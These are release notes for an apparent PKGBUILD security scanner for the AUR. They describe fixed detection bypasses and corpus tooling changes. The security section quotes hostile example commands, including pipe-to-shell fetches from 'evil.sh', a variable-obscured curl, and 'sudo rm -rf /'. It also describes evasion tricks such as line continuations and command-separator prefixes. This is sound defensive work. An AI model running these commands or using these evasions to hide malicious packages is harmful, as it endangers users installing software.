v0.5.0: security fixes, corpus reconstruction, AUR-first docs
TL;DR
Five security fixes for evasion vectors in PKGBUILD analysis, corpus rebuilt from lock manifest (diffs no longer committed), and documentation rewritten for AUR-first install.
Security
- Message prefix disabled every scoped rule. Any line starting with
echo/printf/msgfollowed by a quote was classified as an inert "message" in its entirety, but a shell line does not end at its first command.echo "x"; sudo rm -rf /scored 0 wheresudo rm -rf /scored 40, so a seven-character prefix switched off R009 (CRITICAL), R010, and R011. Message context now requires the line to contain no command separator (;,&,|) or substitution ($(, backtick). - Line continuations bypassed the CRITICAL pipe-to-shell rules. Rules match one line at a time, so splitting
curl http://evil.sh | bashacross a trailing backslash left R001/R002 with only acurl \fragment, dropping the score from 65 to 25. Continuations are now joined into one logical line before matching, for both the raw and resolved paths. - Variable resolution never ran inside function bodies. The tokenizer's assignment pattern was anchored at
^(\w+)=, so any indented assignment (that is, every assignment inside a function) was skipped and the variable table stayed empty.C=curlfollowed by$C http://evil.sh | bashresolved to nothing and defeated every rule matching resolved strings, scoring 20 against a baseline of 65. Assignments are now recognised when indented and when introduced bylocal/export/declare/readonly/typeset. - One-line function bodies escaped function scoping.
package() { curl evil | bash; }was classified before the depth counter advanced, so the line read asotherandfunction_body-scoped rules skipped it; the counter was also left raised for everything that followed. ..passed package-name validation and could delete the cache root._VALID_PKG_NAMEaccepted.and.., sorepo_path("..")resolved to the parent of the repo cache, whichclone_or_fetchthen passed toshutil.rmtreewhen it failed to open as a repository. Both names are now rejected, andrepo_pathadditionally asserts the resolved path is directly inside the cache root.discovery.fetch_package_infointerpolated the package name straight into the RPC query string; an unescaped&or#could inject or truncate parameters. It now usesurlencode, matchingget_aur_latest_versions.
Added
scripts/build_corpus.py --from-manifest: rebuilds the exact corpus recorded incorpus.lockinstead of re-selecting packages by AUR popularity. Fetches only the branches named in the lock into an empty bare repo, so reconstruction takes minutes rather than requiring a full clone of the AUR monorepo. This is what lets CI materialise the corpus, which is gitignored and therefore never present on a fresh checkout.
Fixed
- Mirror Integrity Check never ran. The
Alert on failurestep's script block was mis-indented, makingmirror-check.ymlunparseable; every run failed during workflow startup. The workflow now also reconstructs the corpus before verifying it, rather than assuming a directory that cannot exist in CI. - Corpus Drift Detection failed with "Corpus not found" for the same reason, and now rebuilds the corpus from the lock first (caching the fetched AUR objects).
- Corpus diffs were not reproducible across machines.
gitscales the abbreviation length inindex <old>..<new>lines to a repository's object count, so a sparse clone emitted 7-character hashes where the full mirror emitted 12: byte-different diffs for identical commits, invalidatingcorpus_content_sha256.core.abbrevis now pinned to 12 and recorded in the lock. - Overlapping strata double-counted diffs. A package matching two strata (
python-foo-gitmatches bothlang_ecosystemandvcs_git) was walked once per stratum, and both entries were kept, inflating per-stratum fire rates. Entries are now deduplicated at lock-write time, keeping the last stratum to match the overwrite order the corpus on disk already had.corpus.lockdrops from 3332 to 3246 entries with no change to the corpus itself. corpus.lockrecordedstrata_fileas an absolute path from the generating machine.- Drift reports are no longer passed through a
GITHUB_OUTPUTheredoc, whose delimiter could be forged by diff content and whose payload could exceed the 1 MB output limit. Both workflows also suppress duplicate issues instead of filing one per run.
Changed
scope-contradictiondowngraded fromerrortowarning: a pattern matching a function header withfunction_bodyscope can still fire on a single-line definition (build() { ...; }), so it is reachable but will miss the ordinary multi-line form.
Stats
- 4 commits since v0.4.1
- 618 tests (18 files), all passing
- Package version 0.5.0